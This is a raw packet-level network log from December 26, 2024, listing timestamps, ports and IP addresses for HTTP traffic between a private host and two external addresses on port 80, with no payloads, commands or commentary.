Dec 26, 2024 12:52:23.167794943 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.168622017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.168728113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.169570923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.169614077 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.169744015 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.169781923 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.170531034 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.170598030 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.171509027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.171529055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.171684980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.172477007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.172516108 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.172631025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.172667027 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.173414946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.173726082 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.174367905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.174405098 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.174406052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.174443960 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.175342083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.175451994 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.175489902 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.176297903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.176383018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.177196980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.177237034 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.337784052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.337932110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.338036060 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.338258028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.338476896 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.339061022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.339076042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.339153051 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.339987993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.340032101 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.340101004 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.340145111 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.341162920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.341176987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.341223001 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.341835022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.341924906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.342761040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.342803955 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.342921972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.343843937 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.343884945 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.344022036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.344063044 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.344762087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.344832897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.345731974 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.345779896 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.345835924 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.345882893 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.346678019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.346849918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.347558975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.347605944 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.347676992 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.347721100 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.348560095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.348721981 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.349721909 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.349734068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.349776983 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.349793911 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.350460052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.350624084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.350672007 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.351397038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.351619005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.351666927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.352432013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.352464914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.353322983 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.353362083 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.353482008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.353529930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.354370117 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.354388952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.354887009 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.355242968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.355401993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.356199980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.356249094 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.356362104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.356410980 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.357255936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.357269049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.357314110 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.358119011 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.358239889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.359116077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.359129906 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.359286070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.360296011 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.360302925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.360342026 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.360996962 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.361115932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.361998081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.362045050 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.362119913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.362159014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.363081932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.363255024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.363887072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.363936901 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.363977909 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.364021063 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.364902020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.365008116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.365798950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.365840912 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.366019011 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.366059065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.366782904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.367110968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.367717028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.367760897 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.367844105 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.367887020 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.368777990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.368858099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.369637966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.369689941 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.369724989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.369765997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.370603085 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.370840073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.371531963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.371581078 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.371614933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.371655941 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.372509956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.372693062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.373596907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.373644114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.373779058 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.373822927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.374485016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.374613047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.375308037 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.375401020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.375504971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.376388073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.376430035 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.376446962 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.376486063 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.377346039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.377383947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.378256083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.378312111 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.378367901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.378407001 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.379277945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.379355907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.379398108 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.380163908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.380343914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.381144047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.381196976 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.381409883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.381449938 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.382244110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.382414103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.382860899 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.383150101 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.383306026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.384094954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.384139061 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.384144068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.384185076 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.385181904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.385195971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.385240078 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.386117935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.386212111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.386876106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.386917114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.387094975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.388046026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.388114929 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.548257113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.548409939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.548499107 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.548716068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.548906088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.549654961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.549701929 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.549762964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.549806118 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.550645113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.550779104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.551090002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.551575899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.551683903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.552525043 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.552575111 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.552634001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.552678108 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.553464890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.553594112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.554411888 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.554456949 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.554536104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.554580927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.555394888 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.555500984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.555542946 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.556344986 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.556456089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.557315111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.557363033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.557431936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.557476044 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.558310032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.558407068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.559051037 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.559242964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.559376955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.560199976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.560245037 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.560323000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.560364008 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.561199903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.561276913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.562119007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.562163115 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.562243938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.562289953 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.563085079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.563154936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.563200951 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.564009905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.564120054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.565079927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.565129042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.565164089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.565211058 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.565931082 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.565979958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.566901922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.566930056 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.567006111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.567050934 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.567857027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.567972898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.568938017 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.568983078 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.568993092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.569035053 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.569778919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.569854975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.570780993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.570828915 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.570966959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.571717978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.571763992 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.571805954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.571882963 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.572722912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.572803020 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.573718071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.573762894 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.573904991 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.573945999 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.574635983 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.574649096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.574692965 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.575542927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.575649023 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.575694084 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.576483965 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.576597929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.577452898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.577498913 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:23.577573061 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:23.577617884 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.049890995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.137279034 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.220976114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.223021984 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:52:24.340691090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.340811014 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.340853930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.341041088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.341140032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.341208935 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.342128992 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.342191935 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.342231989 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.342623949 CET	80	49873	185.215.113.206	192.168.2.6
Dec 26, 2024 12:52:24.342710018 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:52:24.342916965 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.343046904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.343626022 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:52:24.343642950 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.343878984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.344027996 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.344343901 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.344834089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.345139027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.345254898 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.345801115 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.346535921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.346832037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.346844912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.346875906 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.346913099 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.347731113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.347842932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.348007917 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.348680973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.348840952 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.348961115 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.349618912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.349752903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.349795103 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.350661039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.350855112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.351006985 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.351572037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.351670980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.351710081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.352504969 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.352694035 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.352746010 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.353483915 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.353602886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.353643894 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.354444027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.354536057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:24.354856014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:24.355417013 CET	80	49863	185.215.113.16	192.168.2.6
